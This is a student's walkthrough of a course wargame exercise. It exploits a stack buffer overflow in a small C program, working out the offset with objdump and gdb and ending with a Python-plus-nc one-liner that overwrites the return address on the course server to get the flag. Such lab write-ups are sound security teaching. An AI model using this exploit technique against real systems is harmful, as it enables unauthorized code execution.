In the course, Secure Programming, we are asked to solve wargame problems. Here comes the first practice: Stack Buffer Overflow.
Problem
void do_magic(char *buf,int n){
int i;
srand(time(NULL));
for(i=0;i<n;i++)
buf[i] ^= rand()%256;
}
void magic(){
char magic_str[60];
scanf("%s",magic_str);
do_magic(magic_str,strlen(magic_str));
printf("%s",magic_str);
}
Goal: Get the flag!
Analysis
The structure looks like this: local variable stack -> frame pointer -> return address. And, our goal is to replace the content of return address, and make the program start to run unwanted function.
[Solution 1] Disassemble the bin file.
You can apply any of following tools:
- objdump: objdump -d magic
- Online decompiler: http://decompiler.fit.vutbr.cz/decompilation-run/
- IDA Pro
And, I can get:
08048681 <magic>:
8048681: 55 push %ebp
8048682: 89 e5 mov %esp,%ebp
8048684: 83 ec 58 sub $0x58,%esp
8048687: 8d 45 bc lea -0x44(%ebp),%eax
804868a: 89 44 24 04 mov %eax,0x4(%esp)
804868e: c7 04 24 36 88 04 08 movl $0x8048836,(%esp)
8048695: e8 66 fe ff ff call 8048500 <__isoc99_scanf@plt>
We can learn that the character array size would be 0x44 = 68. And, should add 4 for frame pointer.
*note: "ESP is the current stack pointer. EBP is the base pointer for the current stack frame."
[Solution 2] GDB debug analysis
>> gdb magic
(gdb) b magic
(gdb) run
(gdb) disas
Dump of assembler code for function magic:
0x08048681 <+0>: push %ebp
0x08048682 <+1>: mov %esp,%ebp
0x08048684 <+3>: sub $0x58,%esp
0x08048687 <+6>: lea -0x44(%ebp),%eax
0x0804868a <+9>: mov %eax,0x4(%esp)
0x0804868e <+13>: movl $0x8048836,(%esp)
0x08048695 <+20>: call 0x8048500 <__isoc99_scanf@plt>
=> 0x0804869a <+25>: lea -0x44(%ebp),%eax
0x0804869d <+28>: mov %eax,(%esp)
0x080486a0 <+31>: call 0x80484d0 <strlen@plt>
0x080486a5 <+36>: mov %eax,0x4(%esp)
0x080486a9 <+40>: lea -0x44(%ebp),%eax
0x080486ac <+43>: mov %eax,(%esp)
0x080486af <+46>: call 0x8048621 <do_magic>
0x080486b4 <+51>: lea -0x44(%ebp),%eax
0x080486b7 <+54>: mov %eax,0x4(%esp)
0x080486bb <+58>: movl $0x8048836,(%esp)
0x080486c2 <+65>: call 0x8048460 <printf@plt>
0x080486c7 <+70>: leave
0x080486c8 <+71>: ret
(gdb) info registers
eax 0x1 1
ecx 0x1 1
edx 0xf7fb88c4 -134510396
ebx 0xf7fb6ff4 -134516748
esp 0xffffd560 0xffffd560
ebp 0xffffd5b8 0xffffd5b8
esi 0x0 0
edi 0x0 0
eip 0x804869a 0x804869a <magic+25>
eflags 0x286 [ PF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
Try different size of inputs until ebp is modified, and we can know the size for stack buffer overflow.
Solution
(python -c 'print "heron\n" + "\x00"*72 + "\x0e\x86\x04\x08"' && cat) | nc secprog.cs.nctu.edu.tw 6666
- ( python ... && cat ) is designed for not passing EOF to nc, which may close the connection before we interact with it.
- \x0e\x86\x04\x08 is the address of the function we want the program to run, and it's indicated in little endian.
Reference